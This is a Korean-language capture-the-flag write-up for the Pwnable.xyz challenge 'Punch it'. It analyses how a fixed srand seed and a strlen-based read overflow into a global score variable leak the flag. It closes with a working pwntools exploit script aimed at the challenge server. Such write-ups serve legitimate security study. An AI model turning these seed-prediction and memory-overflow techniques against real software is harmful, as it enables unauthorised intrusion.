[Pwnable.xyz – Punch it]
Wargmae/Pwnable.xyz

[Pwnable.xyz – Punch it]

728x90

 

 

Execute

 

파일 실행

파일을 실행시켜보면 게임을 할지 안할지 물어보고 게임을 선택하게 된다. 하지만 게임을 선택하면 어떤 이유에서인지 error를 출력하고 프로그램이 종료된다.

 

 

Analyze

mitigation

Pie RELRO Canary nxbit모두 걸려있다.

 

 

 

Main

 

main

 

  • Line 11: motd_seclect_character 함수를 호출한다.
  • Line 12~40 : do while문으로 루프가 걸려있다. 탈출 조건은 v6v5보다 큰 경우이다.
  • Line 14~38: while문이 두번 걸려있다. v6rand함수를 통해 난수를 넣고 v5변수의 입력값과 동일한경우 y를 입력해주면 buf에 입력을 받는다. v5v6가 다른경우에는 두가지로 나뉘는데 v5v6보다 큰 경우에는 qword_202070 전역변수를 1증가시키고 다시 while문을 돈다. 작거나 같은 경우에는 buf를 출력하고 프로그램이 종료된다.

 

motd_select_character

 

motd_select_character

해당함수에서는 일단 buf변수에 name을 입력받고 각각의 옵션에 대한 choose_xxx함수를 호출한다. 그리고 game_t의 값을 srand의 인자로 준 이후 flag의 내용을 read함수를 통해 unk_202078전역변수에 넣어준다.

 

choose_toriko

앞에서 확인 한 각 옵션에대한 게임 중 하나이다. /dev/urandom에서 난수를 game_t변수에 넣어주는 동작을 진행한다. Choose_xxx계열 함수모두 똑 같은 동작을 수행한다.

 

 

 

 

Solve

unk_202078전역변수에 flag의 내용을 read를 통해 넣어주는 것을 확인 할 수 있다. 그리고 앞서 저장하는 game_tbuf socre 변수모두 전역변수임을 알 수 있다. 따라서 bss영역을 확인해보자.

 

bss

game_t,buf, qword_202070, unk_202078 변수들이 차례로 채워져 있는 것을 확인 할 수 있다. 만약 qword_202070영역을 꽉 채우면 unk_202078에 있는 값까지 읽어낼 수 있을 것 같다. 문자열을 출력해주는 부분을 먼저 찾아보자.

해당 prinf함수는 v6v5보다 작다면 실행된다. 하지만 v6변수는 game_t에 있는 난수를 시드로 생성되는 난수이기 때문에 v6에 대한 통제권이 없다. 따라서 srand로 넘어가는 시드 값을 고정시킬 방법을 생각해야한다.

 

v6가 생성되는 루틴은 위 코드들과 같은데 만약 read(fd,&game_t,2);자체를 수행시키지 않는다면 /dev/urandom에서 난수를 받아오는 루틴자체를 넘어가므로 시드를 0으로 고정할 수 있다. 따라서 게임을 선택하는 부분에서 0을 넣어주면 해당 choose_xxx계열 함수를 우회할 수 있는 것이다.

 

이제 전역변수들을 어떻게 꽉채울지 생각해보자.

motd_select_character함수가 실행되면서 buf0x2c(44)만큼 입력을 받는다. 앞서 bss영역을 확인한 부분을 다시 확인해보면 buf의 크기는 2c인 것 역시 확인 할 수 있다. 여기서 정확하게 입력값이 다른 변수들을 침범 할 수 없게 검증하고 있어 당황 했지만  buf 전역변수뒤에 socre 변수인 qword_202070이 뒤따라서 나온다. 만약 v5v6보다 크다면 qword_2020701 증가하게 될것이다. 여기서 핵심적인 취약점이 발생한다.

main에서 다시 bufread함수로 값을 넣어주는 부분이 존재하는데 입력 길이를 strlen을 통해 만들어낸다. 만약 qword_2020701이 들어있는 상황이라면 strlenNULL 까지 길이를 계산하므로 v344를 반환하지 않고 45를 반환해줄 것이다. 따라서 45byte에 대한 입력권한을 가지게 되는 것이다. 만약 해당 통재권을 이용해 socre0xff를 넣어준다면 다음 수행에서 0x1을 더하게 되므로 0xff+0x1= 0x100이므로 2byte에 대한 통제권을 얻을 수 있고 결과적으로 46byte를 통제 할 수 있는 것이다.

 

여기까지 정리해보자면 v5v6에 대한 상황이 총3가지 존재한다. 먼저 v5v6와 같은 경우를 draw라고 생각하자. 또한 v5v6인경우를 win이라고하자. 마지막으로 v5v6보다 작은 경우를 lose라고 하자.

 

 

Draw 인경우 v3 = strlen(buf); read(0, buf, v3); 를 수행한다.

Win인경우 ++qword_202070를 수행한다.

Lose인 경우 printf("Sowwy, pleya %s luse, bay bay", buf);를 수행한다.

 

이제는 결과적으로 socre를 얼마나 NULL이 아닌 값으로 채워야 하는지 확인 해야한다.

둘사이의 거리는 8byte임을 확인 할 수 있다. 따라서 앞에서 수행한 v3의 값을 조작하는 루틴을 몇번 수행하면 될지 계산해야한다. Win->Draw한번 수행시마다 1byte 씩 커지면 편하겠지만 실제로는 그렇지 않다. 0xff로 채워서 1을 더하는 루틴을 메모리 구조로 보면 알 수 있다.

 

Stage 0 : win -> draw 

Satge 1 : win -> win -> draw

Stage 2 : win -> win -> draw ->

             win -> win -> draw

Stage 3 : win -> win -> draw ->

             win -> win -> draw ->

             win -> win -> draw

결과적으로 win -> win -> draw를 하나의 묶음으로 규칙이 보이는데 앞서 말한 것 처럼 1byte를 늘리려면 win -> win -> draw의 묶음이 stage에 따라서 늘어나는 것을 알 수 있다. 결과적으로 필요한 묶음은 각스테이지에서 필요한 wwd묶음수를 x 라하면 x x=2stage-1  임을 알 수있다.또한 해당 stage7까지만 진행하면 된다.

그리고 lose상태를 만들어주면 flag까지 출력할 수 있을 것이다.

 

 

이제 exploit을 작성할 방법을 생각해봐야한다. 사실 이번문제는 저 규칙 찾아서 익스코드 잘짜는게 핵심인 것 같다…… 보내는 dummy를 그냥 전부 52로 박아넣으면 될 줄 알았는데 오류나서 그때 그때 맞는 dummy를 보내준다고 고생한거 같다. 결국은 다른 라업 참고해서 썻다.생각좀 더해서 나중에 익스코드 수정해야 겠다. 

 

rninche01.tistory.com/entry/Pwnablexyz-punch-it

 

from pwn import *
from ctypes import *

p = remote("svc.pwnable.xyz", 30024)
lib = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
lib.srand(0)

# win = 3, buf[44] = 2, '\xff' = 1,  score[8] = 0,
buf_len = 44
buf = list([2 for i in range(buf_len)])
score = list([ 0 for i in range(8+1)])
new_list = buf + score

def win():
    rand = lib.rand()
    p.sendlineafter("pawa> ", str(rand+1))
    for index in range(buf_len, buf_len+8):
        if 0 == new_list[index]:
            new_list[index] = 3
            break
        if 1 == new_list[index]:
            new_list[index] = 0

def draw():
    rand = lib.rand()
    p.sendlineafter("pawa> ", str(rand))
    p.sendafter("[N/y]","y")
    length = new_list.index(0)
    p.sendafter("Name: ", "\xff"*length)
    for index in range(buf_len, length):
        new_list[index] = 1

def wwd():
    win()
    win()
    draw()

# Init
p.sendlineafter("[Y/n] : ", "y")
p.sendafter("Name: ", "A"*0x2c)
p.sendafter("> ", str(0))

# stage 0
win()
draw()

# stage 1 ~ stage 7
for stage in range(7):
    print('#stage : '+str(stage+1))
    for i in range(2**stage):
        wwd()

# Read Flag!!
p.send("1")
p.interactive()

 

성공적으로 flag를 획득할 수 있었다

728x90

'Wargmae > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz - PvP]  (0) 2021.01.13
[Pwnable.xyz - J-U-M-P]  (4) 2021.01.07
[Pwnable.xyz - TLSv00]  (0) 2021.01.02
[Pwnable.xyz - Welcome]  (1) 2021.01.02